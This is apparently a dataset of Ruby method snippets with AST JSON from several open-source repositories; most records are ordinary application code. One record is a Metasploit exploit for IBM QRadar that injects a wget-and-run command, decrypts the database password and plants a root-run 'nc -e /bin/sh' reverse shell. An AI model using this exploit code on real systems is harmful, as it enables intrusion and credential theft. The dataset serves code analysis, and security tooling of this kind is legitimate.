2>&1\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"encode!\",{\"type\":\"str\",\"children\":[\"ASCII\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"invalid\"]},{\"type\":\"sym\",\"children\":[\"replace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"undef\"]},{\"type\":\"sym\",\"children\":[\"replace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replace\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payloads\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"Y SO SERIAL?\"]}]},null,{\"type\":\"send\",\"children\":[null,\"abort\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payloads\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"drop_while\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"strip\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"!\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payloads\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"drop\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\" \"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_list\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^ +([^ ]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_list\"]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"JRMPClient\"]},{\"type\":\"str\",\"children\":[\"JRMPListener\"]}]}]}]}]}","id":"051f3d75-ed2c-4e1c-8fcf-32bbd2674466"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/interactions_measure.rb","start_line":14,"raw_source":"def perform_previous_total_query\n activity_tracker.sum(previous_time_period.first, previous_time_period.last)\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_previous_total_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_tracker\"]},\"sum\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_time_period\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_time_period\"]},\"last\"]}]}]}","id":"729db33f-db5c-4f44-bc1d-42d1e07c04b3"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/simplecast_onebox.rb","start_line":21,"raw_source":"def placeholder_html\n oembed = get_oembed\n return if oembed.thumbnail_url.blank?\n \"\"\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"placeholder_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"oembed\",{\"type\":\"send\",\"children\":[null,\"get_oembed\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oembed\"]},\"thumbnail_url\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"0533c610-31f7-4074-a028-87592d37d176"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/projects/blobs_remove.rb","start_line":31,"raw_source":"def resolve(project_path:, blob_oids:)\n project = authorized_find!(project_path)\n\n result = ::Repositories::RewriteHistoryService.new(project, current_user).async_execute(blob_oids: blob_oids)\n\n return { errors: result.errors } if result.error?\n\n { errors: [] }\n end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_path\"]},{\"type\":\"kwarg\",\"children\":[\"blob_oids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"lvar\",\"children\":[\"project_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Repositories\"]},\"RewriteHistoryService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"async_execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blob_oids\"]},{\"type\":\"lvar\",\"children\":[\"blob_oids\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"error?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]}]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"0d4870a3-0192-4162-89c6-c6f33e159bb6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/import/qualys/asset.rb","start_line":56,"raw_source":"def import_qualys_asset_xml(args={}, &block)\n data = args[:data]\n wspace = Msf::Util::DBManager.process_opts_workspace(args, framework).name\n bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []\n doc = Nokogiri.XML(data)\n vuln_refs = find_qualys_asset_vuln_refs(doc)\n\n # 2nd pass, actually grab the hosts.\n doc.xpath(\"/ASSET_DATA_REPORT/HOST_LIST/HOST\").each do |host|\n hobj = nil\n addr_el = host.xpath(\"IP\").first\n addr = addr_el.text if addr_el\n next unless validate_ips(addr)\n if bl.include? addr\n next\n else\n yield(:address,addr) if block\n end\n netbios_el = host.xpath(\"NETBIOS\").first\n dns_el = host.xpath(\"DNS\").first\n hname = ( # Prefer NetBIOS over DNS\n (netbios_el.text if netbios_el) ||\n (dns_el.text if dns_el) ||\n \"\" )\n hobj = msf_import_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive, :task => args[:task])\n report_import_note(wspace,hobj)\n\n os_el = host.xpath(\"OPERATING_SYSTEM\").first\n if os_el\n hos = os_el.text\n msf_import_note(\n :workspace => wspace,\n :task => args[:task],\n :host => hobj,\n :type => 'host.os.qualys_fingerprint',\n :data => { :os => hos }\n )\n end\n\n # Report open ports.\n find_qualys_asset_ports(82023,host,wspace,hobj, args[:task]) # TCP\n find_qualys_asset_ports(82004,host,wspace,hobj, args[:task]) # UDP\n\n # Report vulns\n find_qualys_asset_vulns(host,wspace,hobj,vuln_refs, args[:task],&block)\n\n end # host\n\n end","complexity_score":80.3,"ast_json":"{\"type\":\"def\",\"children\":[\"import_qualys_asset_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"DBManager\"]},\"process_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bl\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_ips\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"blacklist\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"blacklist\"]}]},\"split\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vuln_refs\",{\"type\":\"send\",\"children\":[null,\"find_qualys_asset_vuln_refs\",{\"type\":\"lvar\",\"children\":[\"doc\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"/ASSET_DATA_REPORT/HOST_LIST/HOST\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hobj\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"addr_el\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"IP\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr_el\"]},{\"type\":\"lvasgn\",\"children\":[\"addr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr_el\"]},\"text\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_ips\",{\"type\":\"lvar\",\"children\":[\"addr\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bl\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"addr\"]}]},{\"type\":\"next\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"addr\"]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"netbios_el\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"NETBIOS\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dns_el\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"DNS\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hname\",{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"netbios_el\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"netbios_el\"]},\"text\"]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns_el\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns_el\"]},\"text\"]},null]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hobj\",{\"type\":\"send\",\"children\":[null,\"msf_import_host\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"addr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"hname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"HostState\"]},\"Alive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"task\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"task\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_import_note\",{\"type\":\"lvar\",\"children\":[\"wspace\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]}]},{\"type\":\"lvasgn\",\"children\":[\"os_el\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"OPERATING_SYSTEM\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os_el\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os_el\"]},\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"msf_import_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"task\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"task\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"host.os.qualys_fingerprint\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"os\"]},{\"type\":\"lvar\",\"children\":[\"hos\"]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"find_qualys_asset_ports\",{\"type\":\"int\",\"children\":[82023]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"task\"]}]}]},{\"type\":\"send\",\"children\":[null,\"find_qualys_asset_ports\",{\"type\":\"int\",\"children\":[82004]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"task\"]}]}]},{\"type\":\"send\",\"children\":[null,\"find_qualys_asset_vulns\",{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]},{\"type\":\"lvar\",\"children\":[\"vuln_refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"task\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}]}","id":"b7dbf98d-ff7c-4a0e-a4f8-328cbf8ddc7c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/web_hooks/log_execution_worker.rb","start_line":19,"raw_source":"def perform(hook_id, log_data, response_category, _unique_by)\n hook = ::WebHook.find_by_id(hook_id)\n\n return unless hook # hook has been deleted before we could run.\n\n ::WebHooks::LogExecutionService\n .new(hook: hook, log_data: log_data, response_category: response_category.to_sym)\n .execute\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook_id\"]},{\"type\":\"arg\",\"children\":[\"log_data\"]},{\"type\":\"arg\",\"children\":[\"response_category\"]},{\"type\":\"arg\",\"children\":[\"_unique_by\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hook\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WebHook\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"hook_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WebHooks\"]},\"LogExecutionService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hook\"]},{\"type\":\"lvar\",\"children\":[\"hook\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log_data\"]},{\"type\":\"lvar\",\"children\":[\"log_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response_category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_category\"]},\"to_sym\"]}]}]}]},\"execute\"]}]}]}","id":"5f509c4a-d850-4f6b-b9d1-3b67d756181a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/appearance.rb","start_line":71,"raw_source":"def single_appearance_row\n errors.add(:base, _('Only 1 appearances row can exist')) if self.class.any?\n end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"single_appearance_row\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Only 1 appearances row can exist\"]}]}]},null]}]}","id":"a73175f5-64ea-4a9f-a38d-9acd394b60f9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/concurrency_limit/middleware.rb","start_line":96,"raw_source":"def resumed?\n job['concurrency_limit_resume'] == true\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"resumed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"concurrency_limit_resume\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]}]}","id":"0d03c6f8-412d-42e9-aa56-70647201ccbc"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/changesets/log_time_service.rb","start_line":68,"raw_source":"def log_error(service_result)\n unless service_result.success?\n errors = service_result.errors.full_messages.join(\", \")\n Rails.logger.warn(\"TimeEntry could not be created by changeset #{changeset.id}: #{errors}\")\n end\n end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"success?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"errors\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TimeEntry could not be created by changeset \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changeset\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]}]}]}]}]}]}]}","id":"f4fb1f37-8cc3-40d9-a16f-a316599e4f65"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/experiments.rb","start_line":9,"raw_source":"def class_files_removed?\n (removed_experiments & current_experiments_with_class_files).empty?\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"class_files_removed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"removed_experiments\"]},\"&\",{\"type\":\"send\",\"children\":[null,\"current_experiments_with_class_files\"]}]}]},\"empty?\"]}]}","id":"958c890a-8abd-462d-bebf-4ab79a79e2b4"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb","start_line":139,"raw_source":"def exploit\n print_status(\"#{peer} - Attempting to exploit #{target.name}\")\n\n # run step 1\n set_cookies\n\n # let's prepare step 2 (payload) and 3 (payload exec as root)\n @payload_name = rand_text_alpha_lower(3..5)\n root_payload = rand_text_alpha_lower(3..5)\n\n if (datastore['SRVHOST'] == \"0.0.0.0\" or datastore['SRVHOST'] == \"::\")\n srv_host = Rex::Socket.source_address(rhost)\n else\n srv_host = datastore['SRVHOST']\n end\n\n http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s\n service_uri = http_service + '/' + @payload_name\n\n print_status(\"#{peer} - Starting up our web service on #{http_service} ...\")\n start_service({\n 'Uri' => {\n 'Proc' => Proc.new { |cli, req|\n on_request_uri(cli, req)\n },\n 'Path' => \"/#{@payload_name}\"\n }\n })\n\n @payload = %{#!/bin/bash\n\n# our payload that's going to be downloaded from our web server\ncat < /store/configservices/staging/updates/#{root_payload}\n#!/bin/bash\n/usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} &\nEOF\n\n### below is adapted from /opt/qradar/support/changePasswd.sh\n[ -z $NVA_CONF ] && NVA_CONF=\"/opt/qradar/conf/nva.conf\"\nNVACONF=`grep \"^NVACONF=\" $NVA_CONF 2> /dev/null | cut -d= -f2`\nFRAMEWORKS_PROPERTIES_FILE=\"frameworks.properties\"\nFORENSICS_USER_FILE=\"config_user.xml\"\nFORENSICS_USER_FILE_CONFIG=\"$NVACONF/$FORENSICS_USER_FILE\"\n\n# get the encrypted db password from the config\nPASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\\\w\\\\=\\\\+\\\\/]*)(?=<)'`\n\nQVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')\n\nAU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm\nP_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)\nP_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)\n\nAESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`\n\n#if 7.2.8 or greater, use new method for hashing and salting passwords\nif [[ $QVERSION -gt 727 || -z \"$AESKEY\" ]]\nthen\n PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED}))\n [ $? != 0 ] && echo \"ERROR: Unable to decrypt $PASSWORDENCRYPTED\" && exit 255\nelse\n\n PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`\n [ $? != 0 ] && echo \"ERROR: Unable to decrypt $PASSWORDENCRYPTED\" && exit 255\nfi\n\nPGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \\\n\"insert into autoupdate_patch values ('#{root_payload}',#{rand(1000) + 100},'minor',false,#{rand(9999) + 100},0,'',1,false,'','','',false)\"\n\n# kill ourselves!\n(sleep 2 && rm -- \"$0\") &\n}\n\n # let's do step 2 then, ask QRadar to download and execute our payload\n print_status(\"#{peer} - Asking QRadar to download and execute #{service_uri}\")\n\n exec_cmd = \"$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O \" +\n \"/store/configservices/staging/updates/#{@payload_name} #{service_uri} && \" +\n \"/bin/bash /store/configservices/staging/updates/#{@payload_name})\"\n\n payload_step2 = \"pcap[0][pcap]\" +\n \"=/#{rand_text_alpha_lower(2..6) + '/' + rand_text_alpha_lower(2..6)}\" +\n \"&pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, 'hex-all')}\"\n\n uri_step2 = \"/ForensicsAnalysisServlet/?forensicsManagedHostIps\" +\n \"=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true\"\n\n res = send_request_cgi({\n 'uri' => uri_step2 + '&' + payload_step2,\n 'method' => 'GET',\n 'cookie' => \"SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};\",\n })\n\n # now we just sit back and wait for step 2 payload to be downloaded and executed\n # ... and then step 3 to complete. Let's give it a little more than a minute.\n Rex.sleep 80\n end","complexity_score":85.7,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Attempting to exploit \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_cookies\"]},{\"type\":\"ivasgn\",\"children\":[\"@payload_name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"root_payload\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SR